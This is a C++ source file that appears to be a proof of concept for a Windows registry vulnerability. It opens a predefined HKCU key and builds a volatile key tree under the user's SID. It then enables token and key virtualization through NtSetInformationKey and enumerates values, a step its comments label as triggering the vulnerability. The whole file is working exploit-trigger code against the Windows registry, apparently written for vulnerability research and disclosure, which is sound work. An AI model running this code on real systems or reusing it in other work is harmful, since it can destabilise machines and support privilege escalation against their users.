#include <Windows.h>
#include <sddl.h>
#include <winternl.h>

#include <cstdio>
#include <string>
#include <vector>

#pragma comment(lib, "ntdll")

typedef struct _KEY_SET_VIRTUALIZATION_INFORMATION {
  ULONG   VirtualTarget : 1; // Tells if the key is a virtual target key.
  ULONG   VirtualStore : 1;  // Tells if the key is a virtual store key.
  ULONG   VirtualSource : 1; // Tells if the key has been virtualized at least one (virtual hint)
  ULONG   Reserved : 29;
} KEY_SET_VIRTUALIZATION_INFORMATION, * PKEY_SET_VIRTUALIZATION_INFORMATION;

BOOL EnableKeyVirtualization(HKEY hkey,
                             BOOL VirtualTarget,
                             BOOL VirtualStore,
                             BOOL VirtualSource) {

  KEY_SET_VIRTUALIZATION_INFORMATION VirtInfo;
  VirtInfo.VirtualTarget = VirtualTarget;
  VirtInfo.VirtualStore = VirtualStore;
  VirtInfo.VirtualSource = VirtualSource;
  VirtInfo.Reserved = 0;

  NTSTATUS Status = NtSetInformationKey(hkey,
                                        KeySetVirtualizationInformation,
                                        &VirtInfo,
                                        sizeof(VirtInfo));

  return NT_SUCCESS(Status);
}

BOOL EnableTokenVirtualization(HANDLE hToken, BOOL bEnabled) {
  DWORD dwVirtualizationEnabled = bEnabled;
  if (!SetTokenInformation(hToken,
                           TokenVirtualizationEnabled,
                           &dwVirtualizationEnabled,
                           sizeof(dwVirtualizationEnabled))) {
    printf("SetTokenInformation failed with error %u\n", GetLastError());
    return FALSE;
  }

  return TRUE;
}

int main(int argc, char** argv) {
  //
  // Verify that a predefined key exists under HKCU.
  //

  HKEY hkey;
  LONG st = RegOpenKeyExA(HKEY_CURRENT_USER, "PredefinedKey", 0, KEY_READ, &hkey);
  if (st != ERROR_SUCCESS || (ULONG_PTR)hkey < 0x80000000) {
    printf("HKCU\\PredefinedKey doesn't exist, or isn't a predefined key\n");
    return 1;
  }

  //
  // Create an initial key structure.
  //

  HANDLE hToken;
  if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken)) {
    printf("OpenProcessToken failed with error %u\n", GetLastError());
    return 1;
  }

  DWORD UserInfoLength;
  if (GetTokenInformation(hToken, TokenUser, NULL, 0, &UserInfoLength) ||
      GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
    printf("GetTokenInformation failed with error %u\n", GetLastError());
    return 1;
  }

  TOKEN_USER* UserInfo = (TOKEN_USER*)malloc(UserInfoLength);

  if (!GetTokenInformation(hToken, TokenUser, UserInfo, UserInfoLength, &UserInfoLength)) {
    printf("GetTokenInformation failed with error %u\n", GetLastError());
    return 1;
  }

  LPSTR StringSid;
  if (!ConvertSidToStringSidA(UserInfo->User.Sid, &StringSid)) {
    printf("ConvertSidToStringSidA failed with error %u\n", GetLastError());
    return 1;
  }

  std::vector<std::string> key_tree = { "DUMMY", "User", StringSid, "PredefinedKey" };

  HKEY hcurrkey = HKEY_CURRENT_USER, hsubkey;
  for (const auto& key_name : key_tree) {
    st = RegCreateKeyExA(hcurrkey,
                         key_name.c_str(),
                         0,
                         NULL,
                         REG_OPTION_VOLATILE,
                         KEY_ALL_ACCESS,
                         NULL,
                         &hsubkey,
                         NULL);

    if (st != ERROR_SUCCESS) {
      printf("RegCreateKeyEx failed with error %d\n", st);
      return 1;
    }

    hcurrkey = hsubkey;
  }

  //
  // Enable virtualization for our process and for the leaf key.
  // 

  EnableTokenVirtualization(hToken, TRUE);
  EnableKeyVirtualization(hcurrkey,
                          /*VirtualTarget=*/TRUE,
                          /*VirtualStore=*/TRUE,
                          /*VirtualSource=*/FALSE);

  //
  // Enumerate the key, triggering the vulnerability.
  // 

  printf("Key values:\n");

  for (DWORD i = 0;; i++) {
    CHAR ValueName[100];
    DWORD cchValueName = sizeof(ValueName);

    st = RegEnumValueA(hcurrkey, i, ValueName, &cchValueName, NULL, NULL, NULL, NULL);
    if (st == ERROR_NO_MORE_ITEMS) {
      break;
    }
    else if (st != ERROR_SUCCESS) {
      printf("RegEnumValueA failed with error %d\n", st);
      return 1;
    }

    printf("%d. %s\n", i + 1, ValueName);
  }

  return 0;
}